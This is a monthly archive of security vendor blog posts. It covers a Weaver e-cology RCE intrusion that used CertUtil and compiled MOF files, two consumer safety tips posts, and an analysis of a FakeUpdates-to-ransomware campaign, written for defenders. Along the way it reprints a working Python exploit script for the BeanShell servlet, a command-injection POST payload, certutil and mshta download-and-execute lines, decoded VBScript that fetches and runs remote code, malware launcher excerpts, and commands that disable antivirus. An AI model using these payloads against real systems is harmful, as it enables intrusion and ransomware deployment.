Monthly Archives: October 2019

CertUtil Qualms: They Came to Drop FOMBs

This blog post covers an interesting intrusion attempt that Mandiant Managed Defense thwarted involving the rapid weaponization of a recently disclosed vulnerability combined with the creative use of WMI compiled “.bmf” files and CertUtil for obfuscated execution.

This intrusion attempt highlights a number of valuable lessons in security, chiefly: attackers work fast – faster than many security teams can react. Additionally, patching complex software environments while keeping the business operational makes it difficult to keep pace with attackers exploiting vulnerabilities, especially when these truths are coupled with rapid exploitation with innovative obfuscation methods utilizing the operating systems own feature set against it.

Everybody’s Working for the Recon

While monitoring our customers around the clock, FireEye Managed Defense identified suspicious file write activity on a system at a European manufacturing client and began our initial investigation by collecting the available volatile and non-volatile data from the affected host. Once evidence collection had completed, we began parsing the forensic data using the parsers available in FireEye's free Redline forensic analysis tool. Analysis of the logs quickly revealed that there were commands executed on the host which were consistent with interactive reconnaissance activity. Typically, once a host has successfully been compromised, attackers are presented with a command shell window which allows them to run commands on the host. These commands can consist of reconnaissance activity which expose useful information about the host to the attacker. The following is a snippet of the commands that we observed successfully executed on the host:  

ipconfig.exe ipconfig /all
whoami.exe whoami

The associated parent process that handled execution of the aforementioned listed processes was: "\Weaver\jdk_new\bin\javaw.exe". 

FOMBs AWAY!

Once the attackers gained access to the web server by exploiting an unknown vulnerability, they attempted to further pivot control within the system through the use of Windows Management Instrumentation (WMI). They leveraged WMI's execution process, which takes Managed Object Format (MOF) files as input and compiles them into the WMI buffer, resulting in a compiled “.bmf” output file. The attackers wrote their second-stage payload and compiled it with WMI. Finally, they uploaded the compiled “.bmf” file to their web server and modified the file to masquerade as a ".rar" file .

Upon further assessment of the activity, we observed that after the threat actors gained access to the affected web server, they utilized a Windows native binary called “Certutil.exe” to download malicious code from a remote resource. Our investigation revealed that an instance of the process “Certutil.exe” was executed with the following command line arguments:   

certutil  -urlcache -split
-f http://[DOMAIN]/uploads/180307/l.rar c:\windows\temp\l.rar

Options

Description 

-urlcache 

Display or delete URL cache entries

-split 

Split embedded ASN.1 elements, and save to files

 

-f 

Force overwrite

(Source: Microsoft certutil page)

FireEye has observed this methodology executed numerous times by both ethical hackers and unauthorized threat actors in addition to Certutil’s benign use as a part of legitimate business applications and operations.

Shortly after the second-stage payload was downloaded, we observed several file write events related to `l.rar` (MD5: 4084eb4a41e3a01db2fe6f0b91064afa). Of particular note were: 

cmd.exe  cmd /c mofcomp.exe C:\Windows\temp\l.rar
cmd.exe cmd /c del C:\Windows\temp\l.rar

The aforementioned commands utilize Window's "cmd.exe" interpreter to run "mofcomp.exe" on the newly obtained "l.rar". This process is designed to parse a file containing MOF statements and add any class and class instances defined in the file to the WMI repository, and subsequently delete the aforementioned file.

The use of “mofcomp.exe” for attackers and defenders was first proposed at MIRcon 2014 by FireEye Mandiant incident responders Christopher Glyer and Devon Kerr in their “There’s Something about WMI” talk (Figure 1).


Figure 1: Proposed use of MOF files for red and blue teams

We obtained the file "l.rar" for further analysis and observed that the file header began with "FOMB". This file header when conveniently flipped is "BMOF", as in Binary Managed Object Format. With this information in hand we began searching for methods to reverse the compiled binary. Upon analyzing the file in FireEye's sandbox environment, we were able to obtain the following information from the BMOF file:

On Error Resume Next:execmydler():Function execmydler():Set
P=CreateObject("WinHttp.WinHttpRequest.5.1"):P[.]Open
"GET","hxxp[://[DOMAIN]/d/dl[.]asp",0:P[.]Send():b=P[.]responseText:M=Spli
t(b,",",-1,1):For Each Od In M:Nd=Nd+Chr(Od-
2):Next:Set P=Nothing:If Len(Nd) > 10 Then:Execute(Nd):End If:End

In an attempt to masquerade activities, the attackers wrote an MOF script and compiled it into a BMOF file, then ran the malicious BMOF file on the victim machine via WMI. The aforementioned code attempts to download a second-stage payload from "hxxp[://[DOMAIN]/d/dl[.]asp" when executed. Since the WMI buffer is involved, this attack vector opens the door to gaining a persistent foothold in the victim environment.

During this research period we also found an open-sourced project titled "bmfdec" that also decompiled BMOF files. 

Uncovering the Exploit

The attackers were active on September 22, and as such the majority of the investigation was conducted around this timeframe. Analysis of FireEye Endpoint Security ring buffer events uncovered reconnaissance commands executed on the system including whoami, ipconfig and the downloading of additional binaries. However, further analysis of the system did not uncover an initial exploit within the same timeframe of these commands. Analysis of the HTTP logs also did not uncover the initial payload. Within the HTTP logs we identified suspicious HTTP POST requests including requests to ’/weaver/bsh.servlet.BshServlet/`, but this was a busy server and the payload was not included in the logging, only metadata.

Example HTTP log entry

'-` 2886000` 10.10.10.10` -` -` "[23/Sep/2019:10:10:10 +0800]"` "POST
/weaver/bsh.servlet.BshServlet/ HTTP/1.1"`  "-"'

FireEye Endpoint Security has the ability to collect a memory image and this was completed on the same day as the initial activity. As memory is volatile, the earlier it's collected in an investigation the more likely you are to uncover additional evidence. We used Volatility to analyze the memory image looking for any suspicious event log entries, process creation, registry entries, etc. While reviewing the memory image, we identified numerous instances of mshta.exe spawned under javaw.exe, the creation date for these processes was 2019-09-20, and we pivoted our investigative focus to that date.

.. httpd.exe            2388    604      3     84 2019-06-28 09:32:53 UTC+0000 
... java.exe            2420   2388      0 ------ 2019-06-28 09:32:53 UTC+0000 
.... javaw.exe          4804   2420     36    530 2019-06-28 09:33:19 UTC+0000 
..... javaw.exe         5976   4804    177   4925 2019-06-28 09:33:21 UTC+0000 
...... mshta.exe       17768   5976     12    320 2019-09-20 14:20:00 UTC+0000 
...... mshta.exe        9356   5976     12    306 2019-09-20 11:12:04 UTC+0000 
...... mshta.exe       22416   5976     12    310 2019-09-20 11:31:14 UTC+0000 
...... mshta.exe       23240   5976     13    318 2019-09-20 14:20:01 UTC+0000 
...... mshta.exe       15116   5976     12    311 2019-09-20 11:31:23 UTC+0000 

This matched our initial findings and gave us some further context. Unfortunately, the initially-acquired forensic evidence, including the endpoint triage package and the memory image, did not provide a conclusive filesystem narrative around that date. At this stage the client had pulled the system offline and began remediation steps, however we still didn't know exactly which exploit was leveraged to gain a foothold on this system. We knew the process path which indicated it was httpd.exe being leveraged to run malicious javaw.exe commands. This lined up with our HTTP log analysis, yet we didn't have the payload.

String it to Weaver

Anybody who's worked in incident response long enough knows that when parsing the data has failed to uncover the evidence you're looking for, the last thing you can try is sifting through the raw bytes and strings of a file. Volatility has a handy feature to map the string offset to the corresponding process and virtual address. Once this is complete grep searching for specific keywords and filtering through the strings identified a number of HTTP POST requests sitting in unallocated space, expanding our grep using it's context parameter uncovered interesting HTTP POST requests and their payload.

Example POST payload:

POST /weaver/bsh.servlet.BshServlet/ HTTP/1.1
Host: x.x.x.x:88
Connection: close
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:69.0) Gecko/20100101 Firefox/69.0
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 134
bsh.script=eval .("ex"+"ec(\"mshta hxxp:// www[DOMAIN]/index[.]hta\")");&bsh.servlet.output=raw23; languageidweaver=7; testBanCookie=test; JSESSIONID=xxxxxxxxxx; Systemlanguid=7
tBanCookie=test; Systemlanguid=7; loginidweaver=xxx
st; Systemlanguid=7; loginidweaver=xxx

We knew this was the exploit we were looking for. The payload was exactly what the attacker was executing and the URI confirmed the process path we had identified from the memory image. It was making a request to BshServlet. It was unclear if this vulnerability was known, as there was no CVE associated with the software. Open source research identified a number of Chinese blog sites discussing a newly identified RCE vulnerability with Weaver e-cology OA system. The vulnerability lies within the BeanShell component of the OA system. The attacker could send a specially crafted payload to ’\weaver/bsh.servlet.BshServlet` in order to launch arbitrary commands. The following POC script was discovered on one of the aforementioned Chinese blog sites.

MD5: 49b23c67c2a378fb8c76c348dd80ff61

import requests
import sys   

headers = { 
   'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 12_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/12.0 Safari/1200.1.25', 
   'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3', 
   'Accept-Language': 'zh-CN,zh;q=0.9', 
   'Content-Type': 'application/x-www-form-urlencoded'
}   

  

def exploit(url,cmd): 
   target=url+'/weaver/bsh.servlet.BshServlet' 
   payload='bsh.script=eval%00("ex"%2b"ec(\\"cmd+/c+{}\\")");&bsh.servlet.captureOutErr=true&bsh.servlet.output=raw'.format(cmd) 
   res=requests.post(url=target,data=payload,headers=headers,timeout=10) 
   res.encoding=res.apparent_encoding 
   print(res.text)   

if __name__ == '__main__': 
   url=sys.argv[1] 
   while(1): 
       cmd=input('cmd:') 
       exploit(url,cmd)   

The script contained some hardcoded HTTP header values including user-agent, accepted data types, accepted languages and content-type. The script builds an HTTP request and allows the user to specify the command they would like to run; it would then append the URL and command to the crafted exploit to execute. In our instance the attacker was leveraging this vulnerability to launch mshta.exe to download a second stage payload.

Using search engines for internet connected devices such as Shodan or Censys we can quickly identify systems running the Weaver e-cology platform. Using this technique, we identified 28 internet facing system that are potentially vulnerable.

Conclusion

This isn't a new story; Managed Defense responds to cases like this every week. The usage of FOMB was particularly interesting in this instance and it's the first case in Managed Defense we've seen this technique being leveraged in an attempt to bypass defenses. When leveraged correctly, compiled “.bmf” files can be effectively used to sneak into an environment undetected and gain a foothold via persistence in the WMI buffer.

There are many procedural and technical controls that could help prevent a system being compromised. Most larger enterprises are complex and identifying all publicly exposed software and services can be challenging. We’ve worked on many cases where system administrators didn’t believe their system was directly accessible from the internet only to later confirm it was. Prioritizing particular patches can be difficult and if you don’t think a RCE vulnerability is exposed then the Risk level might be incorrectly classified as low.

A combination of controls is typically the best approach. In Managed Defense we assume these controls are imperfect and attackers will find a way to bypass them. Deploying strong monitoring capabilities combined with a team of analysts hunting through lower fidelity signatures or “weak signals” can uncover otherwise unnoticed adversaries.

Learn more about Mandiant Managed Defense here. Catch an on-demand recap on this and the Top 5 Managed Defense attacks this year.

Weaver Build Timeline

  • 2019-09-20: Weaver Patch released
  • 2019-09-20: Exploit observed in Managed Defense
  • 2019-09-22: Exploit POC blogged
  • 2019-10-03: First public mention outside China

References

Secure IT: Shop Safe Online

Everything we do on a daily basis has some form of “trust” baked into it. Where you live, what kind of car you drive, where you send your children to school, who you consider good friends, what businesses you purchase from, etc. Trust instills a level of confidence that your risk is minimized and acceptable to you. Why should this philosophy be any different when the entity you need to trust is on the other end of an Internet address? In fact, because you are connecting to an entity that you cannot see or validate, a higher level of scrutiny is required before they earn your trust. What Universal Resource Locator (URL) are you really connecting to? Is it really your banking website or new online shopping website that you are trying for the first time? How can you tell?

It’s a jungle out there. So we’ve put together five ways you can stay safe while you shop online:

  1. Shop at sites you trust. Are you looking at a nationally or globally recognized brand? Do you have detailed insight into what the site looks like? Have you established an account on this site, and is there a history that you can track for when you visit and what you buy? Have you linked the valid URL for the site in your browser? Mistyping a URL in your browser for any site you routinely visit can lead you to a rogue website.

  2. Use secure networks to connect. Just as important as paying attention to what you connect to is to be wary of where you connect from. Your home Wi-Fi network that you trust—okay. An open Wi-Fi at an airport, cyber café, or public kiosk—not okay. If you can’t trust the network, do not enter identifying information or your payment card information. Just ask our cybersecurity services experts to demonstrate how easy it is to compromise an open Wi-Fi network, and you’ll see why we recommend against public Wi-Fi for sensitive transactions.

  3. Perform basic checks in your browser. Today’s modern browsers are much better at encrypted and secure connections than they were a few years ago. They use encrypted communication by leveraging a specific Internet protocol, hypertext transfer protocol secure (HTTPS). This means that there is a certificate associated with this site in your browser that is verified before you are allowed to connect and establish the encrypted channel. (Just so you know, yes, these certificates can be spoofed, but that is a problem for another day). How do you check for this certificate? Look up in your browser title bar.

  4. Create strong password for your shopping sites. This issue is covered in another blog post, but use longer passwords, 10–12 characters, and keep them in a safe place that cannot be compromised by an unauthorized person. If a second factor is offered, use it. Many sites will send you a code to your smartphone to type into a login screen to verify you are who you say you are.

  5. Don’t give out information about yourself that seems unreasonable. If you are being asked for your social security number, think long and hard, and then longer and harder, about why that information should be required. And then don’t do it until you ask a trusted source about why that would be necessary. Be wary of anything you see when you are on a website that does not look familiar or normal.

We all use the Internet to shop. It is super convenient, and the return on investment is awesome. Having that new cool thing purchased in 10 minutes and delivered directly to your door—wow! Can you ever really be 100% sure that the Internet site you are visiting is legitimate, and that you are not going to inadvertently give away sensitive and/or financial information that is actually going directly into a hacker’s data collection file? Unfortunately, no. A lot of today’s scammers are very sophisticated. But as we discussed up front, this is a trust- and risk-based decision, and if you are aware that you could be compromised at any time on the Internet and are keeping your eyes open for things that just don’t look right or familiar, you have a higher probability of a safe online shopping experience.

To recap:

  • Visit and use sites you know and trust
  • Keep the correct URLs in your bookmarks (don’t risk mistyping a URL).
  • Check the certificate to ensure your connection to the site is secured by a legitimate and active certificate.
  • Look for anything that is not familiar to your known experience with the site.
  • If you can, do not save credit card or payment card information on the site. (If you do, you need to be aware that if that site is breached, your payment data is compromised.)
  • Use strong passwords for your shopping site accounts. And use a different password for every site. (No one ring to rule them all!)
  • If a site offers a second factor to authenticate you, use it.
  • Check all your payment card statements regularly to look for rogue purchases.
  • Subscribe to an identity theft protection service if you can. These services will alert you if your identity has been compromised.

Safe shopping!

The post Secure IT: Shop Safe Online appeared first on Connected.

Best Practices for Keeping Tabs on Your Apps

Let’s start this conversation out with the definition of device. The list of what constitutes one is growing. For now, let’s say that you have a home computer (desktop, laptop, or both), work computer (desktop, laptop, or both), home tablet, work tablet, personal smartphone, and work smartphone. This is a pretty extensive list of devices that an adversary could use to attack you professionally and personally. But what about your Amazon Alexa or gadgets, smart toys, and smart clocks? What about Google Assistant or Microsoft Cortana? Do you also have a SmartTV? What about NEST, Wink, WeMo, SensorPush, Neurio, ecobee4, Philips Hue, Smart Lock, GarageMate? Hoo boy! The list of connected devices goes on and on.

Are all of these devices safe to use? Well, the simple answer is no—unless you specifically paid attention to its security. Also, for your smart devices that work via voice control, do you know who might be listening on the other end? To make things worse, many of these devices are also used in the corporate world, because they are easy to deploy, and are very affordable.

What about applications? Did the developer that created the application you are using ensure they used good secure coding techniques? Or is there a likelihood they introduced a flaw in their code? Are the servers for the application you are running in the cloud secure? Is the data you are storing on these cloud systems protected from unauthorized access?

All really good questions we rarely ask ourselves—at least before we use the latest and coolest applications available. We all make risk-based decisions every day, but do we ever ensure we have all the data before we make that risk-based decision?

What Can You Do?

Start by doing whatever homework and research you can. Make sure you understand the social engineering methods that the malicious actors are currently using. Unsolicited phone calls from a government agency (like the IRS), a public utility, or even Microsoft or Apple are not legitimate. No you don’t owe back taxes, no your computer has not been hacked, no you don’t need to give out sensitive personal information to your power company over the phone.

How Can You Choose Safe Applications?

Simply Google “Is this <name of application> secure?” Never install an application that you don’t feel you can trust. Using an application is all about risk management. Make sure you understand the potential risk to device and data compromise, prior to choosing to use it.

How Can You Better Secure Your Home Network?

  1. Upon installation of any device, immediately change the login and password. These are often stored in the configuration files that come with the product, therefore are easy to look up.
  2. Change the login and password on your home Wi-Fi router frequently.
  3. Ensure the software for anything that connects is up to date.
  4. Make sure you have a clear sense of where your sensitive data is stored—and how it is protected. Is it adequately protected—or, better yet, encrypted?
  5. When in doubt, don’t connect an IoT device to the Internet.

Lastly, look at some solutions that can be added to your home Wi-Fi network, that provide additional layers of protection and detection against IoT and other advanced attacks. F-Secure Sense Gadget is one such solution, as is Luma smart Wi-Fi router, Dojo, and CUJO. Dojo, for example, monitors all incoming and outgoing traffic and performs analysis looking for malicious traffic. With known weaknesses in IoT and home networks in general, solutions like the above are a good investment.

Don’t Give Hackers Easy Access

Not long ago, a casino in the Northeast had a fish tank in their lobby. To make management of the fish tank easier, they installed an IoT-enabled thermostatic control to set and monitor water temperature in the tank. The thermostatic control was connected to their internal network, as well as IoT-enabled to allow easy access from anywhere on the Internet. The device was breached from the Internet by malicious actors, and the internal network was penetrated, allowing the hackers to steal information from a high-roller database before devices monitoring the network were able to identify the unauthorized data leaving the network and shut it down. A classic case of what can happen without the right due diligence.

Try and follow this motto. Just because you can, does not mean you should. The latest shiny IT gadget that will make you seem cool, or potentially make some portion of your life easier to manage, should be evaluated thoroughly for security weaknesses, before you turn it on and open it up to the world. Make that good risk-based decision. Not many of us would consider doing this: “Hey Alexa, open up my desktop computer so that all my sensitive data is opened for all the world to see.” Or would we?

The post Best Practices for Keeping Tabs on Your Apps appeared first on Connected.

Head Fake: Tackling Disruptive Ransomware Attacks

Within the past several months, FireEye has observed financially-motivated threat actors employ tactics that focus on disrupting business processes by deploying ransomware in mass throughout a victim’s environment. Understanding that normal business processes are critical to organizational success, these ransomware campaigns have been accompanied with multi-million dollar ransom amounts. In this post, we’ll provide a technical examination of one recent campaign that stems back to a technique that we initially reported on in April 2018.

Between May and September 2019, FireEye responded to multiple incidents involving a financially-motivated threat actor who leveraged compromised web infrastructure to establish an initial foothold in victim environments. This activity bared consistencies with a fake browser update campaign first identified in April 2018 – now tracked by FireEye as FakeUpdates. In this newer campaign, the threat actors leveraged victim systems to deploy malware such as Dridex or NetSupport, and multiple post-exploitation frameworks. The threat actors’ ultimate goal in some cases was to ransom systems in mass with BitPaymer or DoppelPaymer ransomware (see Figure 1).


Figure 1: Recent FakeUpdates infection chain

Due to campaign proliferation, we have responded to this activity at both Mandiant Managed Defense customers and incident response investigations performed by Mandiant. Through Managed Defense network and host monitoring as well as Mandiant’s incident response findings, we observed the routes the threat actor took, the extent of the breaches, and exposure of their various toolkits.

Knock, Knock: FakeUpdates are Back!

In April 2018, FireEye identified a campaign that used compromised websites to deliver heavily obfuscated Trojan droppers masquerading as Chrome, Internet Explorer, Opera, and/or Firefox browser updates. The compromised sites contained code injected directly into the HTML or in JavaScript components rendered by the pages which had been injected. These sites were accessed by victim users either via HTTP redirects or watering-hole techniques utilized by the attackers.

Since our April 2018 blog post, this campaign has been refined to include new techniques and the use of post-exploitation toolkits. Recent investigations have shown threat actor activity that included internal reconnaissance, credential harvesting, privilege escalation, lateral movement, and ransomware deployment in enterprise networks. FireEye has identified that a large number of the compromised sites serving up the first stage of FakeUpdates have been older, vulnerable Content Management System (CMS) applications.

You Are Using an Older Version…of our Malware

The FakeUpdates campaign begins with a rather intricate sequence of browser validation, performed before the final payload is downloaded. Injected code on the initial compromised page will make the user’s browser transparently navigate to a malicious website using hard-coded parameters. After victim browser information is gleaned, additional redirects are performed and the user is prompted to download a fake browser update. FireEye has observed that the browser validation sequence may have additional protections to evade sandbox detections and post-incident triage attempts on the compromise site(s).


Figure 2: Example of FakeUpdate landing page after HTTP redirects

The redirect process used numerous subdomains, with a limited number of IP addresses. The malicious subdomains are often changed in different parts of the initial redirects and browser validation stages.

After clicking the ‘Update’ button, we observed the downloading of one of three types of files:

  • Heavily-obfuscated HTML applications (.hta file extensions)
  • JavaScript files (.js file extensions)
  • ZIP-compressed JavaScript files (.zip extensions)

Figure 3 provides a snippet of JavaScript that provides the initial download functionality.

var domain = '//gnf6.ruscacademy[.]in/';
var statisticsRequest = 'wordpress/news.php?b=612626&m=ad2219689502f09c225b3ca0bfd8e333&y=206';
var statTypeParamName = 'st';

var filename = 'download.hta';
var browser = 'Chrome';
var special = '1';   
var filePlain = window.atob(file64);
var a = document.getElementById('buttonDownload');

Figure 3: Excerpts of JavaScript code identified from the FakeUpdates landing pages

When the user opens the initial FakeUpdates downloader, the Windows Scripting Host (wscript.exe) is executed and the following actions are performed:

  1. A script is executed in memory and used to fingerprint the affected system.
  2. A subsequent backdoor or banking trojan is downloaded if the system is successfully fingerprinted.
  3. A script is executed in memory which:
    • Downloads and launches a third party screenshot utility.
    • Sends the captured screenshots to an attacker.
  4. The payload delivered in step 2 is subsequently executed by the script process.

The backdoor and banking-trojan payloads described above have been identified as Dridex, NetSupport Manager RAT, AZOrult, and Chthonic malware. The strategy behind the selective payload delivery is unclear; however, the most prevalent malware delivered during this phase of the infection chain were variants of the Dridex backdoor.

FakeUpdates: More like FakeHTTP

After the end user executes the FakeUpdates download, the victim system will send a custom HTTP POST request to a hard-coded Command and Control (C2) server. The POST request, depicted in Figure 4, showed that the threat actors used a custom HTTP request for initial callback. The Age HTTP header, for example, was set to a string of 16 seemingly-random lowercase hexadecimal characters.


Figure 4: Initial HTTP communication after successful execution of the FakeUpdates dropper

The HTTP Age header typically represents the time in seconds since an object has been cached by a proxy. In this case, via analysis of the obfuscated code on disk, FireEye identified that the Age header correlates to a scripted “auth header” parameter; likely used by the C2 server to validate the request. The first HTTP POST request also contains an XOR-encoded HTTP payload variable “a=”.

The C2 server responds to the initial HTTP request with encoded JavaScript. When the code is decoded and subsequently executed, system and user information is collected using wscript.exe. The information collected from the victim system included:

  • The malicious script that initialized the callback
  • System hostname
  • Current user account
  • Active Directory domain
  • Hardware details, such as manufacturer
  • Anti-virus software details
  • Running processes

This activity is nearly identical to the steps observed in our April 2018 post, indicating only minor changes in data collection during this stage. For example, in the earlier iteration of this campaign, we did not observe the collection of the script responsible for the C2 communication. Following the system information gathering, the data is subsequently XOR-encoded and sent via another custom HTTP POST request request to the same C2 server, with the data included in the parameter “b=”. Figure 5 provides a snippet of sample of the second HTTP request.


Figure 5: Second HTTP POST request after successful system information gathering

Figure 6 provides a copy of the decoded content, showing the various data points the malware transmitted back to the C2 server.

0=500
1=C:\Users\User\AppData\Local\Temp\Chrome.js
2=AMD64
3=SYSTEM1
4=User
5=4
6=Windows_NT
7=DOMAIN
8=HP
9=HP EliteDesk
10=BIOS_VERSION
11=Windows Defender|Vendor Anti-Virus
12=Vendor Anti-Virus|Windows Defender|
13=00:00:00:00:00:00
14=Enhanced (101- or 102-key)
15=USB Input Device
16=1024x768
17=System Idle Process|System|smss.exe|csrss.exe|wininit.exe|csrss.exe| winlogon.exe|services.exe|lsass.exe|svchost.exe|svchost.exe|svchost.exe|svchost.exe|svchost.exe|
svchost.exe|spoolsv.exe|svchost.exe|svchost.exe|HPLaserJetService.exe|conhost.exe…

Figure 6: Decoded system information gathered by the FakeUpdates malware

After receiving the system information, the C2 server responds with an encoded payload delivered via chunked transfer-encoding to the infected system. This technique evades conventional IDS/IPS appliances, allowing for the second-stage payload to successfully download. During our investigations and FireEye Intelligence’s monitoring, we recovered encoded payloads that delivered one of the following:

  • Dridex (Figure 7)
  • NetSupport Manage Remote Access Tools (RATs) (Figure 8)
  • Chthonic or AZORult (Figure 9)
    function runFile() {
        var lastException = '';
        try {
            var wsh = new ActiveXObject("WScript.Shell");
            wsh.Run('cmd /C rename "' + _tempFilePathSave + '" "' + execFileName + '"');
            WScript.Sleep(3 * 1000);
            runFileResult = wsh.Run('"' + _tempFilePathExec + '"');
            lastException = '';
        } catch (error) {
            lastException = error.number;
            runFileExeption += 'error number:' + error.number + ' message:' + error.message;
        }
    }

Figure 7: Code excerpt observed in FakeUpdates used to launch Dridex payloads

    function runFile() {
        var lastException = '';
        try {
            var wsh = new ActiveXObject("WScript.Shell");
            runFileResult = wsh.Run('"' + _tempFilePathExec + '" /verysilent');
            lastException = '';
        } catch (error) {
            lastException = error.number;
            runFileExeption += 'error number:' + error.number + ' message:' + error.message;
        }
    }

Figure 8: Code excerpt observed in FakeUpdates used to launch NetSupport payloads

    function runFile() {
        var lastException = '';
        try {
            var wsh = new ActiveXObject("WScript.Shell");
            runFileResult = wsh.Run('"' + _tempFilePathExec + '"');
            lastException = '';
        } catch (error) {
            lastException = error.number;
            runFileExeption += 'error number:' + error.number + ' message:' + error.message;
        }
    }

Figure 9: Code excerpt observed in FakeUpdates used to launch Chthonic and AZORult payloads

During this process, the victim system downloads and executes nircmdc.exe, a utility specifically used during the infection process to save two system screenshots. Figure 10 provides an example command used to capture the desktop screenshots.

"C:\Users\User\AppData\Local\Temp\nircmdc.exe" savescreenshot "C:\Users\User\AppData\Local\Temp\6206a2e3dc14a3d91.png"

Figure 10: Sample command used to executed the Nircmd tool to take desktop screenshots

The PNG screenshots of the infected systems are then transferred to the C2 server, after which they are deleted from the system. Figure 11 provides an example of a HTTP POST request, again with the custom Age and User-Agent headers.


Figure 11: Screenshots of the infected system are sent to an attacker-controlled C2

Interestingly, the screenshot file transfers were neither encoded nor obfuscated, as with other data elements transferred by the FakeUpdates malware. As soon as the screenshots are transferred, nircmdc.exe is deleted.

All Hands on Deck

In certain investigations, the incident was far from over. Following the distribution of Dridex v4 binaries (botnet IDs 199 and 501), new tools and frameworks began to appear. FireEye identified the threat actors leveraged their Dridex backdoor(s) to execute the publicly-available PowerShell Empire and/or Koadic post-exploitation frameworks. Managed Defense also identified the FakeUpdates to Dridex infection chain resulting in the download and execution of PoshC2, another publicly available tool. While it could be coincidental, it is worth noting that the use of PoshC2 was first observed in early September 2019 following the announcement that Empire would no longer be maintained and could represent a shift in attacker TTPs. These additional tools were often executed between 30 minutes and 2 hours after initial Dridex download. The pace of the initial phases of related attacks possibly suggests that automated post-compromise techniques are used in part before interactive operator activity occurs.

We identified extensive usage of Empire and C2 communication to various servers during these investigations. For example, via process tracking, we identified a Dridex-injected explorer.exe executing malicious PowerShell: a clear sign of an Empire stager:


Figure 12: An example of PowerShell Empire stager execution revealed during forensic analysis

In the above example, the threat actors instructed the victim system to use the remote server 185.122.59[.]78 for command-and-control using an out-of-the-box Empire agent C2 configuration for TLS-encrypted backdoor communications.

During their hands-on post-exploitation activity, the threat actors also moved laterally via PowerShell remoting and RDP sessions. FireEye identified the use of WMI to create remote PowerShell processes, subsequently used to execute Empire stagers on domain-joined systems. In one specific case, the time delta between initial Empire backdoor and successful lateral movement was under 15 minutes. Another primary goal for the threat actor was internal reconnaissance of both the local system and domain the computer was joined to. Figure 13 provides a snippet of Active Directory reconnaissance commands issued by the attacker during one of our investigations.


Figure 13: Attacker executed commands

The threat actors used an Empire module named SessionGopher and the venerable Mimikatz to harvest endpoint session and credential information. Finally, we also identified the attackers utilized Empire’s Invoke-EventVwrBypass, a Windows bypass technique used to launch executables using eventvwr.exe, as shown in Figure 14.

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -c $x=$((gp HKCU:Software\Microsoft\Windows Update).Update); powershell -NoP -NonI -W Hidden -enc $x


Figure 14: PowerShell event viewer bypass

Ransomware Attacks & Operator Tactics

Within these investigations, FireEye identified the deployment BitPaymer or DoppelPaymer ransomware. While these ransomware variants are highly similar, DoppelPaymer uses additional obfuscation techniques. It also has enhanced capabilities, including an updated network discovery mechanism and the requirement of specific command-line execution. DoppelPaymer also uses a different encryption and padding scheme.

The ransomware and additional reconnaissance tools were downloaded through public sharing website repositories such as DropMeFiles and SendSpace. Irrespective of the ransomware deployed, the attacker used the SysInternals utlity PSEXEC to distribute and execute the ransomware.  

Notably, in the DoppelPaymer incident, FireEye identified that Dridex v2 with the Botnet ID 12333 was downloaded onto the same system previously impacted by an instance of Dridex v4 with Botnet ID 501. Within days, this secondary Dridex instance was then used to enable the distribution of DoppelPaymer ransomware.  Prior to DoppelPaymer, the threat actor deleted volume shadow copies and disabled anti-virus and anti-malware protections on select systems. Event log artifacts revealed commands executed through PowerShell which were used to achieve this step (Figure 15):

Event Log

EID

Message

Microsoft-Windows-PowerShell%4Operational

600

 HostApplication=powershell.exe Set-MpPreference -DisableRealtimeMonitoring $true

Microsoft-Windows-PowerShell%4Operational

600

 HostApplication=powershell.exe Uninstall-WindowsFeature -Name Windows-Defender

Application

1034

Windows Installer removed the product. Product Name: McAfee Agent-++-5.06.0011-++-1033-++-1603-++-McAfee, Inc.-++-(NULL)-++--++-. Product Version: 82.

Figure 15: Event log entries related to the uninstallation of AV agents and disablement of real-time monitoring

The DoppelPaymer ransomware was found in an Alternate Data Stream (ADS) in randomly named files on disk. ADSs are attributes within NTFS that allow for a file to have multiple data streams, with only the primary being visible in tools such as Windows Explorer. After ransomware execution, files are indicated as encrypted by being renamed with a “.locked” file extension. In addition to each “.locked” file, there is a ransom note with the file name “readme2unlock.txt” which provides instructions on how to decrypt files.


Figure 16: DoppelPaymer ransomware note observed observed during a Mandiant Incident Response investigation

Ransomware? Not In My House!

Over the past few years, we have seen ransomware graduate from a nuisance malware to one being used to extort victim networks out of significant sums of money. Furthermore, threat actors are now coupling ransomware with multiple toolkits or other malware families to gain stronger footholds into an environment. In this blog post alone, we witnessed a threat actor move through multiple toolsets - some automated, some manual - with the ultimate goal of holding the victim organization hostage.

Ransomware also raises the stakes for unprepared organizations as it levels the playing field for all areas of your enterprise. Ransomware proves that threat actors don’t need to get access to the most sensitive parts of your organization – they need to get access to the ones that will disrupt business processes. This widens your attack surface, but luckily, also gives you more opportunity for detection and response. Mandiant recently published an in depth white paper on Ransomware Protection and Containment Strategies, which may help organizations mitigate the risk of ransomware events.

Indicators

The following indicator set is a collective representation of artifacts identified during investigations into multiple customer compromises.

Type

Indicator(s)

FakeUpdates Files

0e470395b2de61f6d975c92dea899b4f

7503da20d1f83ec2ef2382ac13e238a8

102ae3b46ddcb3d1d947d4f56c9bf88c

aaca5e8e163503ff5fadb764433f8abb

2c444002be9847e38ec0da861f3a702b

62eaef72d9492a8c8d6112f250c7c4f2

175dcf0bd1674478fb7d82887a373174
10eefc485a42fac3b928f960a98dc451
a2ac7b9c0a049ceecc1f17022f16fdc6

FakeUpdates Domains & IP Addresses

<8-Characters>.green.mattingsolutions[.]co
<8-Characters>.www2.haciendarealhoa[.]com
<8-Characters>.user3.altcoinfan[.]com
93.95.100[.]178
130.0.233[.]178
185.243.115[.]84

gnf6.ruscacademy[.]in

backup.awarfaregaming[.]com

click.clickanalytics208[.]com

track.amishbrand[.]com

track.positiverefreshment[.]org

link.easycounter210[.]com

nircmdc.exe

8136d84d47cb62b4a4fe1f48eb64166e

Dridex

7239da273d3a3bfd8d169119670bb745

72fe19810a9089cd1ec3ac5ddda22d3f
07b0ce2dd0370392eedb0fc161c99dc7
c8bb08283e55aed151417a9ad1bc7ad9

6e05e84c7a993880409d7a0324c10e74

